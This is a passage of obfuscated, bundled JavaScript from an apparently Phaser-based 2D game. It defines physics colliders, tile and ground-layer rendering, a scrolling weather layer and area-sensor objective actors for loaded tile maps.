_0x20330b['PhysicsConfig']['TILE_SIZE'] }; let _0xcef099 = {}; 'DAMAGE' === _0x450712['type'] && (_0xcef099 = this['createCustomInfoForDamageType'](_0x450712)), 'TOGGLABLE_GROUND' === _0x450712['type'] && (_0xcef099 = this['createCustomInfoForTogglableType'](_0x450712)); const _0x424649 = _0xcef099['name'] ?? this['gameContext']['idProvider']['get'](_0x4db3f7['EProviderContext']['MAIN'])['toString'](); _0x1bfca8['push']({ 'bodyDesc': _0x1a61ac, 'colliderDesc': _0x296a5d, 'position': _0x3dcbff, 'customInfo': _0xcef099, 'id': _0x424649 }); }), _0x1bfca8; } ['addBodies'](_0x2ffb3d) { _0x2ffb3d['forEach'](_0x15ea0a => { const _0x11504d = this['world']['createRigidBody'](_0x15ea0a['bodyDesc']); _0x11504d['setTranslation'](_0x15ea0a['position'], !0x0), _0x15ea0a['colliderDesc'] && this['world']['createCollider'](_0x15ea0a['colliderDesc'], _0x11504d), _0x11504d['userData'] = { 'actor': this['actor'], 'customInfo': _0x15ea0a['customInfo'] || {} }, this['bodies'][_0x15ea0a['id']] = _0x11504d, 'TOGGLABLE_GROUND' !== _0x15ea0a['customInfo']?.['type'] || _0x15ea0a['customInfo']['startsWithEnabledCollisions'] || this['disableCollisions'](_0x15ea0a['id']); }); } ['createCustomInfoForDamageType'](_0x41ed0c) { const _0x343b5d = (0x0, _0x4c6279['extractCustomProperties'])(_0x41ed0c); if (!_0x343b5d['damage']) throw new Error('DAMAGE-type\x20map\x20object\x20must\x20have\x20a\x20\x22damage\x22\x20property:\x20' + JSON['stringify'](_0x41ed0c)); if (!_0x343b5d['invulnerabilityAfterHitMS']) throw new Error('DAMAGE-type\x20object\x20must\x20have\x20a\x20\x22invulnerabilityAfterHitMS\x22\x20property:\x20' + JSON['stringify'](_0x41ed0c)); return { 'type': 'DAMAGE', 'damage': _0x343b5d['damage'], 'invulnerabilityAfterHitMS': _0x343b5d['invulnerabilityAfterHitMS'], 'teleportToLastValidAreaSensor': _0x343b5d['teleportToLastValidAreaSensor'] }; } ['createCustomInfoForTogglableType'](_0x275e56) { const _0x29e046 = (0x0, _0x4c6279['extractCustomProperties'])(_0x275e56); if (!_0x29e046['name']) throw new Error('TOGGLABLE_GROUND-type\x20map\x20object\x20must\x20have\x20a\x20\x22name\x22\x20property:\x20' + JSON['stringify'](_0x275e56)); return { 'type': 'TOGGLABLE_GROUND', 'name': _0x29e046['name'], 'startsWithEnabledCollisions': _0x29e046['startsWithEnabledCollisions'] }; } } _0x3ed092['MapBodiesComponent'] = _0x2eeb21; }, 0xfe8: (_0x35ca45, _0x2ec96f, _0x478651) => { 'use strict'; Object['defineProperty'](_0x2ec96f, '__esModule', { 'value': !0x0 }), _0x2ec96f['MapBodiesTogglableController'] = _0x2ec96f['DEFAULT_EXIT_NAME'] = _0x2ec96f['DEFAULT_ENTRYWAY_NAME'] = void 0x0; const _0x232dba = _0x478651(0x1520); _0x2ec96f['DEFAULT_ENTRYWAY_NAME'] = 'entryway', _0x2ec96f['DEFAULT_EXIT_NAME'] = 'exit'; class _0x38f36f extends _0x232dba['ComponentController']{ ['init']() { this['sceneMessageBus']['subscribe'](this, 'disableGroundColliders', _0x2426c5 => this['disableGroundColliders'](_0x2426c5)), this['sceneMessageBus']['subscribe'](this, 'enableGroundColliders', _0x1b516b => this['enableGroundColliders'](_0x1b516b)); } ['disableGroundColliders'](_0x4a06cc) { _0x4a06cc['forEach'](_0xf21f8c => { this['component']['disableCollisions'](_0xf21f8c); }); } ['enableGroundColliders'](_0x523020) { _0x523020['forEach'](_0x1e0e2f => { this['component']['enableCollisions'](_0x1e0e2f); }); } } _0x2ec96f['MapBodiesTogglableController'] = _0x38f36f; }, 0x498: function (_0x15bcdd, _0x46e511, _0x4ecbc8) { 'use strict'; var _0x5a5ca7 = this && this['__importDefault'] || function (_0x5c0a2a) { return _0x5c0a2a && _0x5c0a2a['__esModule'] ? _0x5c0a2a : { 'default': _0x5c0a2a }; }; Object['defineProperty'](_0x46e511, '__esModule', { 'value': !0x0 }), _0x46e511['createPolygonCollider'] = _0x46e511['createTriangleCollider'] = _0x46e511['createRectangleCollider'] = void 0x0; const _0x54d13c = _0x5a5ca7(_0x4ecbc8(0x9a8)), _0x24a77f = _0x4ecbc8(0xb35); _0x46e511['createRectangleCollider'] = function (_0x6df047) { return _0x54d13c['default']['ColliderDesc']['cuboid'](_0x6df047['width'] / _0x24a77f['PhysicsConfig']['TILE_SIZE'] / 0x2, _0x6df047['height'] / _0x24a77f['PhysicsConfig']['TILE_SIZE'] / 0x2); }, _0x46e511['createTriangleCollider'] = function (_0x408ba8) { const _0x143d48 = _0x408ba8['polygon']['map'](_0x496eaf => ({ 'x': _0x496eaf['x'] / _0x24a77f['PhysicsConfig']['TILE_SIZE'], 'y': _0x496eaf['y'] / _0x24a77f['PhysicsConfig']['TILE_SIZE'] })); if (0.5 * (_0x143d48[0x0]['x'] * (_0x143d48[0x1]['y'] - _0x143d48[0x2]['y']) + _0x143d48[0x1]['x'] * (_0x143d48[0x2]['y'] - _0x143d48[0x0]['y']) + _0x143d48[0x2]['x'] * (_0x143d48[0x0]['y'] - _0x143d48[0x1]['y'])) > 0x0) return _0x54d13c['default']['ColliderDesc']['triangle'](_0x143d48[0x0], _0x143d48[0x1], _0x143d48[0x2]); throw new Error('Points\x20of\x20' + JSON['stringify'](_0x408ba8) + '\x20GROUND\x20object\x20are\x20not\x20in\x20clockwise\x20order,\x20cannot\x20create\x20it'); }, _0x46e511['createPolygonCollider'] = function (_0x44df6c) { const _0x2bbce8 = _0x44df6c['polygon']['map'](_0x5a92b6 => ({ 'x': _0x5a92b6['x'] / _0x24a77f['PhysicsConfig']['TILE_SIZE'], 'y': _0x5a92b6['y'] / _0x24a77f['PhysicsConfig']['TILE_SIZE'] })), _0x3422cf = new Float32Array(0x2 * _0x2bbce8['length']); return _0x54d13c['default']['ColliderDesc']['polyline'](_0x3422cf); }; }, 0x241a: function (_0xf8eca, _0x531293, _0x43f3db) { 'use strict'; var _0x486794 = this && this['__importDefault'] || function (_0x18fc3c) { return _0x18fc3c && _0x18fc3c['__esModule'] ? _0x18fc3c : { 'default': _0x18fc3c }; }; Object['defineProperty'](_0x531293, '__esModule', { 'value': !0x0 }), _0x531293['MapGroundObjectsComponent'] = void 0x0; const _0x56fa86 = _0x43f3db(0x2414), _0x2104a5 = _0x43f3db(0x1ec0), _0xf62fe3 = _0x43f3db(0xf18), _0x153d8a = _0x486794(_0x43f3db(0x1b39)); class _0x54ae12 extends _0x56fa86['ActorComponent']{ ['groundImages'] = {};['debugVisibilityHandle']; constructor(_0x5e554f) { super(_0x5e554f); } ['init']() { this['createAndAddObjects'](this['config']), this['setupDebugVisibility'](); } ['postInit']() { Object['values'](this['groundImages'])['forEach'](_0x209b5a => _0x209b5a['forEach'](_0x1a68ec => _0x1a68ec['setPipeline']('Light2DNoNormalsRotation'))); } ['destroy']() { this['scene']['unsubscribeFromStore']('groundEnabled', this['debugVisibilityHandle']); } ['createAndAddObjects'](_0x7dfb27) { Object['entries'](_0x7dfb27['groundObjectLayers'])['reverse']()['forEach'](([_0x1dff87, _0xb0c395], _0x4ebf6a) => { this['groundImages'][_0x1dff87] || (this['groundImages'][_0x1dff87] = []), this['groundImages'][_0x1dff87]['push'](...this['createAndAddObjectsLayer'](_0x7dfb27, _0x1dff87, _0x4ebf6a)); }); } ['createAndAddObjectsLayer'](_0x29fe30, _0x3b4ff9, _0x48f8a5) { const _0x34ca14 = _0x29fe30['tileMap']['objects']['find'](_0x47d7b5 => _0x47d7b5['name'] === _0x3b4ff9), _0x53b806 = [], _0x2f45c1 = _0x29fe30['rawMapJson']['layers']['find'](_0x17eaee => _0x17eaee['name'] === _0x3b4ff9), _0x18276b = parseInt((_0x2f45c1['tintcolor'] || '#ffffff')['replace']('#', '0x'), 0x10); return _0x34ca14['objects']['forEach']((_0x287ce9, _0x44930a) => { const _0x21543a = _0x287ce9['gid'], _0x31c7b9 = this['getTileset'](_0x21543a, _0x29fe30['tileMap']['tilesets']); if (!_0x31c7b9) throw new Error('Tileset\x20not\x20found\x20for\x20gid\x20' + _0x21543a + '\x20in\x20tileset\x20' + _0x31c7b9); const _0x452135 = this['getRawTile'](_0x21543a, _0x31c7b9, _0x29fe30); if (!_0x452135) throw new Error('Raw\x20tile\x20not\x20found\x20for\x20gid\x20' + _0x21543a + '\x20in\x20tileset\x20' + _0x31c7b9); const _0x527a45 = _0x31c7b9['name']['split']('/')['pop'](), _0x1720b8 = _0x29fe30['groundObjectLayers'][_0x3b4ff9], _0x3f8ae0 = this['scene']['add']['image'](_0x287ce9['x'], _0x287ce9['y'], _0x1720b8, _0x527a45), _0x5e3250 = _0x2f45c1['parallaxx'], _0x39da11 = _0x2f45c1['parallaxy']; _0x5e3250 && _0x39da11 && _0x3f8ae0['setScrollFactor'](_0x5e3250, _0x39da11); const _0x4fd429 = _0x5e3250 > 0x1 || _0x39da11 > 0x1; _0x3f8ae0['setDepth'](_0x4fd429 ? _0xf62fe3['LAYER_DEPTHS']['FOREGROUND'] : _0xf62fe3['LAYER_DEPTHS']['BACKGROUND'] + _0x48f8a5), _0x18276b && _0x3f8ae0['setTint'](_0x18276b), _0x287ce9['rotation'] && (_0x3f8ae0['rotation'] = _0x153d8a['default']['degToRad'](_0x287ce9['rotation'])), _0x287ce9['flippedHorizontal'] && (_0x3f8ae0['flipX'] = !0x0), _0x287ce9['flippedVertical'] && (_0x3f8ae0['flipY'] = !0x0), _0x452135['imagewidth'] && _0x287ce9['width'] && (_0x3f8ae0['scaleX'] = _0x287ce9['width'] / _0x452135['imagewidth']), _0x452135['imageheight'] && _0x287ce9['height'] && (_0x3f8ae0['scaleY'] = _0x287ce9['height'] / _0x452135['imageheight']); const _0x25c089 = (0x0, _0x2104a5['extractCustomProperties'])(_0x287ce9); isNaN(_0x25c089['alpha']) || (_0x3f8ae0['alpha'] = _0x25c089['alpha']), _0x3f8ae0['active'] = !0x1, _0x53b806['push'](_0x3f8ae0); }), _0x53b806; } ['getTileset'](_0xf06895, _0x2cc904) { return _0x2cc904['find'](_0x54a261 => _0xf06895 >= _0x54a261['firstgid'] && _0xf06895 < _0x54a261['firstgid'] + _0x54a261['total']); } ['getRawTile'](_0x4de870, _0x15faa0, _0x36456c) { const _0x4d3490 = _0x36456c['rawMapJson']['tilesets']['sort']((_0x292007, _0x3b89b1) => _0x3b89b1['firstgid'] - _0x292007['firstgid'])['find'](_0x4cd5be => _0x4de870 >= _0x4cd5be['firstgid']); if (!_0x4d3490) return; const _0x26860f = _0x4d3490['tiles']['find'](_0x427561 => _0x427561['id'] === _0x4de870 - _0x4d3490['firstgid']); return _0x26860f || void 0x0; } ['setupDebugVisibility']() { this['debugVisibilityHandle'] = (_0x243d8f => { Object['values'](this['groundImages'])['forEach'](_0x261e93 => _0x261e93['forEach'](_0x378cf6 => _0x378cf6['setVisible'](_0x243d8f['newValue']))); })['bind'](this), this['scene']['subscribeToStore']('groundEnabled', this['debugVisibilityHandle']); } } _0x531293['MapGroundObjectsComponent'] = _0x54ae12; }, 0x1ec0: (_0x39213e, _0x4bea19) => { 'use strict'; Object['defineProperty'](_0x4bea19, '__esModule', { 'value': !0x0 }), _0x4bea19['getNearestPoT'] = _0x4bea19['extractCustomProperties'] = void 0x0, _0x4bea19['extractCustomProperties'] = function (_0x38ffa6) { const _0x5bfb8b = {}; return (_0x38ffa6?.['properties'] || [])['forEach'](_0x79d8ff => { _0x5bfb8b[_0x79d8ff['name']] = _0x79d8ff['value']; }), _0x5bfb8b; }, _0x4bea19['getNearestPoT'] = function (_0x2a9bd3) { return _0x2a9bd3--, _0x2a9bd3 |= _0x2a9bd3 >> 0x1, _0x2a9bd3 |= _0x2a9bd3 >> 0x2, _0x2a9bd3 |= _0x2a9bd3 >> 0x4, _0x2a9bd3 |= _0x2a9bd3 >> 0x8, _0x2a9bd3 |= _0x2a9bd3 >> 0x10, ++_0x2a9bd3; }; }, 0x6d5: (_0x42808d, _0x2860cb, _0x372e6e) => { 'use strict'; Object['defineProperty'](_0x2860cb, '__esModule', { 'value': !0x0 }), _0x2860cb['MapTilesComponent'] = void 0x0; const _0x20322b = _0x372e6e(0x2414), _0x45ac86 = _0x372e6e(0xb35), _0x56dc55 = _0x372e6e(0xf18), _0x7a7e82 = _0x372e6e(0x5d3), _0x2c3da6 = 'tilesetName', _0x202aa6 = 'tilesetImage', _0x57be7e = 'useLight'; class _0x56f952 extends _0x20322b['ActorComponent']{ ['tileLayers'] = {};['backgroundLayers'] = {};['debugBackgroundVisibilityHandle'];['debugGroundVisibilityHandle']; constructor(_0x2d1d26) { super({ ..._0x2d1d26, 'isRenderComponent': !0x0 }); } ['update'](_0x5ba203) { this['maybeUpdateLights'](this['tileLayers']['lights']); } ['init'](_0x362df9) { (0x0, _0x7a7e82['runningAsBackend'])() || (this['createAndAddLayers'](this['config'], _0x362df9), this['setupDebugVisibility']()); } ['destroy']() { this['scene']['unsubscribeFromStore']('backgroundEnabled', this['debugBackgroundVisibilityHandle']), this['scene']['unsubscribeFromStore']('groundEnabled', this['debugGroundVisibilityHandle']); } ['createAndAddLayers'](_0x221dfc, _0x24e64f) { const _0x36c4ad = this['createRequiredTilesets'](_0x221dfc['tileMap'], _0x221dfc['rawMapJson']); this['backgroundLayers'] = this['createImageLayers'](_0x221dfc, _0x24e64f), this['tileLayers'] = this['createTileLayers'](_0x221dfc, _0x24e64f, _0x36c4ad), (0x0, _0x7a7e82['runningAsBackend'])() || this['scene']['sys']['AnimatedTiles']['init'](_0x221dfc['tileMap']); } ['createImageLayers'](_0x5d0308, _0x3cc325) { const _0x537037 = {}; return _0x5d0308['tileMap']['images']['forEach'](_0x5299ea => { if (!_0x5299ea['visible']) return; const _0x290a4c = this['extractRawLayerConfig'](_0x5d0308['rawMapJson'], _0x5299ea['name']), _0x2d7968 = _0x290a4c['parallaxx'], _0x558b6b = _0x290a4c['parallaxy'], _0xf93517 = _0x290a4c['repeatx'], _0x13b843 = _0x290a4c['repeaty'], _0x287315 = this['extractTintFromRawString'](_0x290a4c['tintcolor']), _0x46824f = this['extractLayerConfigProperty'](_0x5299ea, 'scale') ?? 0x1, _0x28bfd6 = this['extractLayerConfigProperty'](_0x5299ea, _0x57be7e), _0x26e4df = this['extractLayerConfigProperty'](_0x5299ea, 'depthOffset') ?? 0x0, _0x3876d1 = _0x5299ea['image'], { width: _0x2b462b, height: _0x450c66 } = this['scene']['textures']['get'](_0x3876d1)['getSourceImage'](); let _0x582ef2; _0x582ef2 = _0xf93517 || _0x13b843 ? this['scene']['add']['tileSprite'](_0x5299ea['x'] + _0x2b462b, _0x5299ea['y'] + _0x450c66, _0xf93517 ? 0x2710 : _0x2b462b, _0x13b843 ? 0x2710 : _0x450c66, _0x3876d1) : this['scene']['add']['image'](_0x5299ea['x'] + _0x2b462b / 0x2, _0x5299ea['y'] + _0x450c66 / 0x2, _0x3876d1), _0x582ef2['setOrigin'](0.5, 0.5), _0x582ef2['tint'] = _0x287315, _0x582ef2['setScale'](_0x46824f), _0x582ef2['setDepth'](_0x56dc55['LAYER_DEPTHS']['PARALLAX'] + _0x26e4df), _0x28bfd6 && _0x582ef2['setPipeline']('Light2D'), _0x582ef2['setScrollFactor'](_0x2d7968, _0x558b6b), _0x537037[_0x5299ea['name']] = _0x582ef2; }), _0x537037; } ['createRequiredTilesets'](_0x4b092f, _0x228440) { const _0x1d4944 = {}; return _0x4b092f['layers']['forEach'](_0x4d52c7 => { const _0xf2256a = this['extractLayerConfigProperty'](_0x4d52c7, _0x2c3da6), _0x4afa0e = this['extractLayerConfigProperty'](_0x4d52c7, _0x202aa6); if (!_0xf2256a) throw new Error('Tile\x20Layer\x20with\x20Tiled\x20name\x20\x22' + _0x4d52c7['name'] + '\x22\x20is\x20missing\x20required\x20custom\x20property\x20' + _0x2c3da6 + '.\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20This\x20name\x20shall\x20point\x20to\x20name\x20of\x20the\x20tileset\x20used\x20for\x20this\x20layer.'); if (!_0x4afa0e) throw new Error('Tile\x20Layer\x20with\x20Tiled\x20name\x20\x22' + _0x4d52c7['name'] + '\x22\x20is\x20missing\x20required\x20custom\x20property\x20' + _0x202aa6 + '.\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20This\x20name\x20shall\x20point\x20to\x20the\x20image\x20used\x20for\x20tileset\x20used\x20for\x20this\x20layer\x20(without\x20extension).'); if (void 0x0 !== _0xf2256a && void 0x0 !== _0x4afa0e && !_0x1d4944[_0xf2256a]) { const _0x47415b = _0x4b092f['addTilesetImage'](_0xf2256a, _0x4afa0e); if (!_0x47415b) throw new Error('Image\x20\x22' + _0x4afa0e + '\x22,\x20required\x20by\x20Tile\x20Layer\x20with\x20Tiled\x20Name\x20\x22' + _0x4d52c7['name'] + '\x22\x20was\x20not\x20found.\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Is\x20the\x20asset\x20loaded\x20in\x20assetsToLoad?\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Is\x20its\x20name\x20set\x20to\x20\x22' + _0xf2256a + '\x22?\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Is\x20its\x20file\x20path\x20location\x20valid?'); _0x1d4944[_0xf2256a] = _0x47415b; } }), _0x1d4944; } ['createTileLayers'](_0x1d8509, _0x32d823, _0x254a21) { const _0x4948ab = {}; return _0x1d8509['tileMap']['layers']['forEach'](_0x57910e => { const _0x458bac = this['extractLayerConfigProperty'](_0x57910e, _0x2c3da6), _0x2d2b91 = _0x254a21[_0x458bac], _0x29bcf8 = this['extractLayerConfigProperty'](_0x57910e, _0x57be7e), _0x4a1a0b = this['extractLayerConfigProperty'](_0x57910e, 'glow'), _0x183c6c = _0x1d8509['tileMap']['createLayer'](_0x57910e['name'], _0x2d2b91, 0x0, 0x0), _0x48c45e = _0x57910e['name']['includes']('foreground'), _0x25f590 = this['extractRawLayerConfig'](_0x1d8509['rawMapJson'], _0x57910e['name']), _0x26127b = this['extractTintFromRawString'](_0x25f590['tintcolor']); _0x183c6c['setCullPadding'](_0x2d2b91['tileWidth'] / _0x45ac86['PhysicsConfig']['TILE_SIZE'], _0x2d2b91['tileHeight'] / _0x45ac86['PhysicsConfig']['TILE_SIZE']), _0x183c6c['setPosition'](0x0, _0x45ac86['PhysicsConfig']['TILE_SIZE'] - _0x2d2b91['tileHeight']), _0x183c6c['setTint'](_0x26127b), _0x183c6c['setDepth'](_0x48c45e ? _0x56dc55['LAYER_DEPTHS']['FOREGROUND'] : _0x56dc55['LAYER_DEPTHS']['BACKGROUND']), _0x29bcf8 && _0x183c6c['setPipeline']('Light2D'), _0x4a1a0b && (_0x183c6c['setBlendMode'](Phaser['BlendModes']['ADD']), _0x183c6c['alpha'] = 0x2), _0x4948ab[_0x57910e['name']] = _0x183c6c; }), _0x4948ab; } ['extractLayerConfigProperty'](_0x2b0c19, _0x16a602) { return _0x2b0c19['properties']['find'](_0x5013d0 => _0x5013d0['name'] === _0x16a602)?.['value']; } ['extractRawLayerConfig'](_0x5df037, _0x454d2b) { return _0x5df037['layers']['find'](_0x4ced5a => _0x4ced5a['name'] === _0x454d2b); } ['extractTintFromRawString'](_0x522d2c) { return _0x522d2c ? parseInt('0x' + _0x522d2c['split']('#')[0x1], 0x10) : 0xffffff; } ['maybeUpdateLights'](_0x56a347) { if (!_0x56a347) return; const _0xbe3e = (Math['sin'](0.003 * this['gameContext']['timeProvider']['currentRenderTime']) + 0x1) / 0x2 * 0.5 + 0.5, _0x270bd1 = Phaser['Math']['FloatBetween'](-0x0, 0x0), _0x51d690 = Phaser['Math']['Clamp'](_0xbe3e + _0x270bd1, 0.5, 0x1); _0x56a347['alpha'] = _0x51d690; } ['setupDebugVisibility']() { this['debugBackgroundVisibilityHandle'] = (_0x436c20 => { Object['values'](this['backgroundLayers'])['forEach'](_0x4577bb => _0x4577bb['setVisible'](_0x436c20['newValue'])); })['bind'](this), this['scene']['subscribeToStore']('backgroundEnabled', this['debugBackgroundVisibilityHandle']), (this['debugGroundVisibilityHandle'] = (_0x3fc5c6 => { Object['values'](this['tileLayers'])['forEach'](_0x465c0c => _0x465c0c['setVisible'](_0x3fc5c6['newValue'])); })['bind'](this), this['scene']['subscribeToStore']('groundEnabled', this['debugGroundVisibilityHandle'])); } } _0x2860cb['MapTilesComponent'] = _0x56f952; }, 0x1c38: (_0x6267c7, _0x2100ca, _0x568f06) => { 'use strict'; Object['defineProperty'](_0x2100ca, '__esModule', { 'value': !0x0 }), _0x2100ca['MapUtilityActorComponent'] = void 0x0; const _0xd87143 = _0x568f06(0x2414); class _0x4f662a extends _0xd87143['ActorComponent']{ } _0x2100ca['MapUtilityActorComponent'] = _0x4f662a; }, 0x387: (_0x287292, _0x2a9972, _0x4c0c6c) => { 'use strict'; Object['defineProperty'](_0x2a9972, '__esModule', { 'value': !0x0 }), _0x2a9972['MapWeatherComponent'] = void 0x0; const _0x527f40 = _0x4c0c6c(0x2414), _0x434efe = _0x4c0c6c(0x1ec0), _0x20df4d = _0x4c0c6c(0xb35), _0x37710c = _0x4c0c6c(0xf18); class _0x10ae99 extends _0x527f40['ActorComponent']{ ['tileSprites'] = [];['debugVisibilityHandle']; constructor(_0x56c63e) { super(_0x56c63e); } ['init'](_0x3cf7f5) { this['createAndAddDoodads'](this['config']), this['setupDebugVisibility'](); } ['update'](_0x2f0202) { const _0xe46202 = this['gameContext']['getCurrentLevelConfig']()['tilesVertical'] * _0x20df4d['PhysicsConfig']['TILE_SIZE']; this['tileSprites']['forEach'](_0x1dfbb7 => { const _0x27c7d5 = 0x1 + 0x5 * (0x1 - (_0xe46202 - _0x1dfbb7['y']) / _0xe46202); _0x1dfbb7['tilePositionX'] += _0x27c7d5 * _0x2f0202 * 0x5; }); } ['destroy']() { this['scene']['unsubscribeFromStore']('backgroundEnabled', this['debugVisibilityHandle']); } ['createAndAddDoodads'](_0x4059d7) { const _0x5a035b = _0x4059d7['tileMap'], _0x1a965b = _0x5a035b['objects']['find'](_0x65a60b => _0x65a60b['name'] === _0x4059d7['doodadLayerName']); if (!_0x1a965b) return; const _0x5adbee = this['getDoodadTintColor'](_0x4059d7); _0x1a965b['objects']['sort']((_0x5b9da9, _0x222926) => _0x5b9da9['y'] - _0x222926['y'])['forEach']((_0x1a9fa6, _0x469881) => { const _0x8ccef8 = _0x1a9fa6['gid'], _0xbf6de4 = this['getTileset'](_0x8ccef8, _0x5a035b['tilesets']); if (!_0xbf6de4) throw new Error('Tileset\x20not\x20found\x20for\x20gid\x20' + _0x8ccef8); const _0x3dd054 = this['getRawTile'](_0x8ccef8, _0xbf6de4, _0x4059d7); if (!_0x3dd054) throw new Error('Raw\x20tile\x20not\x20found\x20for\x20gid\x20' + _0x8ccef8 + '\x20in\x20tileset\x20' + _0xbf6de4); const _0xd74cdd = _0xbf6de4['name'], _0x948110 = ['../', 'gfx/', 'asset/', '.png']['reduce']((_0x279f30, _0x5e8ea5) => _0x279f30['replaceAll'](_0x5e8ea5, ''), _0xd74cdd), _0x3466cb = _0x1a9fa6['x'], _0x548886 = _0x1a9fa6['y'] - _0x1a9fa6['height'], _0x2c05f7 = this['config']['rawMapJson']['tilewidth'] * this['config']['rawMapJson']['width'], _0x214771 = this['scene']['add']['tileSprite'](_0x3466cb, _0x548886, 0x2 * _0x2c05f7, _0x1a9fa6['height'], _0x948110)['setOrigin'](0x0, 0x0); _0x214771['setDepth'](_0x37710c['LAYER_DEPTHS']['BEFORE_PARALLAX']); const _0x4dab36 = (0x0, _0x434efe['extractCustomProperties'])(_0x1a9fa6)['alpha'] ?? 0x1, _0x366873 = _0xbf6de4['tileWidth'], _0x39bc29 = _0xbf6de4['tileHeight'], _0xf8e73c = (_0x1a9fa6['width'] ?? _0x366873) / _0x366873, _0x250b91 = (_0x1a9fa6['height'] ?? _0x39bc29) / _0x3dd054['imageheight']; _0x214771['setTileScale'](_0xf8e73c, _0x250b91), _0x214771['setAlpha'](_0x4dab36), _0x214771['height'] = _0x214771['height'] - 0x1, _0x214771['tilePositionY'] = 0x1, _0x214771['tint'] = _0x5adbee, this['tileSprites']['push'](_0x214771); }); } ['getDoodadTintColor'](_0x3a6e3e) { const _0x31255c = _0x3a6e3e['rawMapJson']['layers']['find'](_0x2b5aca => _0x2b5aca['name'] === _0x3a6e3e['doodadLayerName'])?.['tintcolor'], _0x3a95df = _0x31255c ? parseInt(_0x31255c['replace']('#', '0x'), 0x10) : void 0x0, _0x2c2c26 = this['scene']['getFromStore']('terrainLightTint'); return _0x3a95df ?? _0x2c2c26 ?? 0xffffff; } ['getRawTile'](_0x56da52, _0x66e53b, _0x320499) { const _0x44497c = _0x320499['rawMapJson']['tilesets']['find'](_0x5a2b22 => _0x56da52 >= _0x5a2b22['firstgid'] && _0x56da52 < _0x5a2b22['firstgid'] + _0x5a2b22['tilecount']); if (!_0x44497c) return; const _0xbec94 = _0x44497c['tiles']['find'](_0x3be081 => _0x3be081['image'] === _0x66e53b['name']); return _0xbec94 || void 0x0; } ['getTileset'](_0x199858, _0x51e1c0) { return _0x51e1c0['find'](_0x599645 => _0x199858 >= _0x599645['firstgid'] && _0x199858 < _0x599645['firstgid'] + _0x599645['total']); } ['setupDebugVisibility']() { this['debugVisibilityHandle'] = (_0x1b349d => { Object['values'](this['tileSprites'])['forEach'](_0x4b6c00 => _0x4b6c00['setVisible'](_0x1b349d['newValue'])); })['bind'](this), this['scene']['subscribeToStore']('backgroundEnabled', this['debugVisibilityHandle']); } } _0x2a9972['MapWeatherComponent'] = _0x10ae99; }, 0x158f: function (_0x446386, _0x369434, _0x21377f) { 'use strict'; var _0x466995 = this && this['__importDefault'] || function (_0x4d8649) { return _0x4d8649 && _0x4d8649['__esModule'] ? _0x4d8649 : { 'default': _0x4d8649 }; }; Object['defineProperty'](_0x369434, '__esModule', { 'value': !0x0 }), _0x369434['createAreaSensorActor'] = void 0x0; const _0x2fbe5d = _0x466995(_0x21377f(0x9a8)), _0x1ab437 = _0x21377f(0x25fa), _0x41ec0d = _0x21377f(0xd2e), _0x123c5f = _0x21377f(0x13e1), _0x3498eb = _0x21377f(0x942), _0xf55715 = _0x21377f(0x2dd), _0x4deaf3 = _0x21377f(0x1932), _0xd59dd1 = _0x21377f(0x403), _0x1231f8 = _0x21377f(0x1055), _0x396b90 = _0x21377f(0x2599), _0x447b7e = _0x21377f(0x17b3), _0x15025b = _0x21377f(0x1832), _0x244e81 = _0x21377f(0xb35), _0x1d6d6f = { ..._0x41ec0d['actorModel'], ..._0x4deaf3['sensorModel'], ..._0x123c5f['movementModel'], ..._0x447b7e['areaSensorModel'] }; function _0x48d157(_0x406056) { return new _0x3498eb['RigidBodyComponent']({ 'world': _0x406056['world'], 'bodyDesc': _0x2fbe5d['default']['RigidBodyDesc']['fixed'](), 'collidersDesc': { 'body': _0x2fbe5d['default']['ColliderDesc']['ball'](0x0)['setCollisionGroups'](_0x244e81['PhysicsConfig']['COLLISION_GROUPS']['OTHER'] << 0x10) }, 'sensorsDesc': { 'body': _0x2fbe5d['default']['ColliderDesc']['ball'](_0x46a792(_0x406056))['setCollisionGroups'](_0x244e81['PhysicsConfig']['COLLISION_GROUPS']['OTHER'] << 0x10 | _0x244e81['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] | _0x244e81['PhysicsConfig']['COLLISION_GROUPS']['ENEMY']) }, 'position': _0x406056['initialPosition'], 'controllers': [new _0xf55715['RigidBodySensorController']({ 'calculateDistanceToGround': !0x1, 'calculateCanSeeTarget': !0x1, 'groundTags': [_0x15025b['EActorTag']['GROUND']] })] }); } function _0x4d6fc9(_0x46189c) { return _0x46189c['objective'] ? [new _0x1231f8['AreaSensorObjectiveComponent']({ 'objectiveName': _0x46189c['objective'] })] : []; } function _0x455f2c(_0x20a5e4) { return _0x20a5e4['gameMessageBusRequest'] || _0x20a5e4['sceneMessageBusRequest'] || _0x20a5e4['spawnEventName'] || _0x20a5e4['blocksNextWave'] ? [new _0x396b90['AreaSensorInteractionComponent']({ ..._0x20a5e4, 'activationRadius': _0x46a792(_0x20a5e4) })] : []; } function _0x46a792(_0x5104e1) { const _0x414aca = 0x2 * _0xd59dd1['MAP_ACTOR_TILE_SIZE_PX'] / 0x3; return _0x5104e1['areaSensorBodyConfig']['width'] / _0x414aca; } _0x369434['createAreaSensorActor'] = function (_0x2b08c9) { return new _0x1ab437['Actor']({ ..._0x2b08c9, 'tags': [_0x15025b['EActorTag']['MAP_AREA_SENSOR']], 'name': 'AreaSensor', 'model': _0x1d6d6f, 'components': [_0x48d157(_0x2b08c9), ..._0x4d6fc9(_0x2b08c9), ..._0x455f2c(_0x2b08c9)] }); }; }, 0x1055: (_0xfaf023, _0x3f819c, _0x1b7bb9) => { 'use strict'; Object['defineProperty'](_0x3f819c, '__esModule', { 'value': !0x0 }), _0x3f819c['AreaSensorObjectiveComponent'] = void 0x0; const _0x503a63 = _0x1b7bb9(0x2414); class _0x1fc458 extends _0x503a63['ActorComponent']{ constructor(_0x406346) { super(_0x406346); } ['init']() { this['gameMessageBus']['publish']('registerObjective', { 'name': this['config']['objectiveName'], 'objective': { 'objectiveCompleteMessage': 'AREA\x20CLEAR', 'completionPointsToCompleteObjective': 0x1, 'initialObjectiveCompletionPoints': 0x0, 'currentCompletionPoints': 0x0, 'showOnObjectiveList': !0x1, 'isPrimaryObjective': !0x0, 'objectiveComplete': !0x1 } }); } } _0x3f819c['AreaSensorObjectiveComponent'] = _0x1fc458; }, 0x2599: 